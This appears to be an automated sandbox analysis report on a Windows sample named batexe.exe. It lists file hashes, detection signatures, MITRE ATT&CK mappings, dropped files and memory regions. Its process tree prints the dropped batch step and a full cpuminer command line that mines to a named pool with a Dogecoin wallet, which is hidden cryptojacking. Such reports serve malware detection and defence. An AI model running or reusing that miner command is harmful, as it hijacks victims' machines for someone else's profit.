73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
298s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18/02/2024, 09:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4760	b2e.exe
4168	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4168	cpuminer-sse2.exe
4168	cpuminer-sse2.exe
4168	cpuminer-sse2.exe
4168	cpuminer-sse2.exe
4168	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4128-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4128 wrote to memory of 4760	4128	batexe.exe	74
PID 4128 wrote to memory of 4760	4128	batexe.exe	74
PID 4128 wrote to memory of 4760	4128	batexe.exe	74
PID 4760 wrote to memory of 8	4760	b2e.exe	75
PID 4760 wrote to memory of 8	4760	b2e.exe	75
PID 4760 wrote to memory of 8	4760	b2e.exe	75
PID 8 wrote to memory of 4168	8	cmd.exe	78
PID 8 wrote to memory of 4168	8	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4128
- C:\Users\Admin\AppData\Local\Temp\8ED2.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8ED2.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8ED2.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4760
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\90B7.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:8
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4168

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\8ED2.tmp\b2e.exe

Filesize
14.4MB

MD5
3ea954b78f12ffd6cdba99e82726603b

SHA1
d5a4f8295b1853c5c2ed990818442fb6134eca12

SHA256
4900985312e0351cc7f6552c7321b275d0eb2a30835740cbb27ee1f24e1180ca

SHA512
f1aa9d9a2242ab8497725269d554bac035b12e9c127ba03c1fa5ef5df56679591119556e706da4b22fac28de0fdd1951f4737012869d82617c6b96310cd368d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\8ED2.tmp\b2e.exe

Filesize
15.2MB

MD5
7064388017bf14c0b5cd9fa79a09e1f0

SHA1
472f04a0e0e29f78f07d4f3df58e39e0a2014f74

SHA256
4066b2dee6803a43fcdb761465f1a2d22f025340b3ecd9ca6615e784bec6b550

SHA512
b5bd4e625d3e5e9c87676ab1f57014f41dccb8a23e4ae86db3c051b7ac0c383b4fc854d864d7b137bbec0563510c4c1017b04356f0c44b993adcb98b5043ac2f

Download Submit
C:\Users\Admin\AppData\Local\Temp\90B7.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
16.8MB

MD5
01e67f1a97729af7996c99f40be858cb

SHA1
388d20a2b0673df04d1393b5e451bf5b1141eaaa

SHA256
9ada24bd52823b9ea2c84ccb5eb622831018e4f1f77d59b0195a26c221301bc7

SHA512
40c583d7e4c7a0e5ab9e98f19890079ad799db25fb1f1dd3e99eeb62434f89b8067e0f07aeb219101c4b5aa4700d6cb6ef121410fdcb237c8fa5839126d58286

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
16.2MB

MD5
bd6a40eca2e30c86da85e69116f45b7b

SHA1
fd83e8a37695a865ae442d77c7d855208503b841

SHA256
cb8e1a86a01a6bf30ab5faf6f3b9f106cc1f8100d8b608ef5febcea41fe95336

SHA512
703944dd0a1b7e040a7795e0174bce7e2c2977d543499f6582be4ded89ef1150e27265c277fdfbf72cd90ce0200567ea49cf542806f894bb79513422e6214cc4

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
15.8MB

MD5
15a26936ebe44062a531ae9aefd95e43

SHA1
8491c1d3e0b50720398f359993fab93020b4a496

SHA256
242b10a060483f10e45527190c9fffc9e0c53617bfc014548d85041465ee8054

SHA512
3f3585be96ee2f67ea3d85f084051a08a7305452233e115fd42ce7aa3f3dec98aa591fc6b7b029a56926f4b1be2f3b0a655b65fd9e28126c28530166cc62777f

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/4128-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4168-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4168-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-42-0x000000006D5C0000-0x000000006D658000-memory.dmp

Filesize
608KB

Download
memory/4168-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4168-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4168-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4760-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4760-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download